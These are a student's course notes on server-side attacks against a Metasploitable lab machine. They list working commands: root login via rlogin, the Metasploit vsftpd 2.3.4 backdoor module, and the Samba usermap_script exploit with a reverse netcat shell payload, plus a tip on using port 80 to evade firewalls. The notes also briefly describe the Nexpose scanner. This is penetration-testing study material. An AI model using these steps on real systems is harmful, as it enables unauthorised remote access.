Graining Access

↳ will be doing server-side attacks first
→ installed metasploitable for it (msfadmin)

★ Server side attacks don't need user interaction.
→ its easy to get the IP address of a web server.
→ These attacks can be used against any computer that we can ping.

→

Subject :

PAGE NO.:
DATE:

★ First thing we can do is information gathering. So that we can exploit them.

★ Run zenmap.
→ Put the IP of target metasploitable device
→ You will be able to see all applications running.
→ Some misconfigurations are also there.
→ Google every service to find vulnerabilities
→ There is a vulnerability in the metasploitable machine.
do:
rlogin -l root 192.168.59.132
(192.168.59.132 ↓ metasploitable ip)
→ and you'll gain control over that system
→ This was a vulnerability in our device that came w/ the open port.
→ So its important to do a zenmap scan & find all the open ports.

⇒

★ Some services come in with a backdoor embedded in it.
→ In our ports that we got after a zenmap scan, you can check that one of the services:
→ vsftpd 2.3.4 (This version of ftp has a backdoor cmd execution)
can be exploited by Metasploit.

★ Metasploit is an exploit development & execution tool. It can also be used to carry out other penetration testing tasks such as port scans, etc.

★ # msfconsole → runs the metasploit console
use [ ] → use a certain exploit, payload or auxillary

Subject :

PAGE NO. [ ]
DATE [/ /]

★ # exploit → run the current task
★ Module Name that we will exploit is:
exploit/unix/ftp/vsftpd_234_backdoor

★ So, open terminator &
do: # msfconsole
→ # use {name_of_module}
→ # show options
↳ this tells us what all we can do.
★ We need to change RHOST:
→ # set RHOSTS 192.168.59.132
↑
target IP
→ # exploit ← to run
→ now you have access to target

★ Now lets try to access the computer by code execution vulnerabilities.

★ In our nmap results, we have a Samba smbd 3.X running. That is also exploitable.
→ After googling via rapid-7, the module name:
exploit/multi/samba/usermap_script
∴ do: → open metasploit
→ use this module
→ show options to check for changes
→ set up RHOSTS
→ exploit
~~★ Hence it is similar.~~
→ Now, this time we dont have a backdoor. Whereas we have code vulnerabilities, called payloads.

Subject :

PAGE NO.
DATE

→ we need to create a payload & run it on the target.
→ do: # show payloads
→ you can run any of them.
→ Bind payloads open a port on the target computer to which we can connect.
→ Reverse payloads do the opposite (Bypass firewalls)
→ we'll use:

cmd/unix/reverse_netcat

∴ do: # set PAYLOAD cmd/unix/
→ now in show options,
→ you need a listening address as well.
for your own address
→ If you choose RPORT = 80. 80 is a port used by web-browsers, so it is never filtered on.

→ now do: # exploit & succes.

Nexpose

→ Vulnerability management framework
→ designed to:
→ discover open ports
→ find vulnerabilities & exploits
→ verify them
→ automate scans
→ generate reports
→ technical
→ high-level

☆ Companies use it.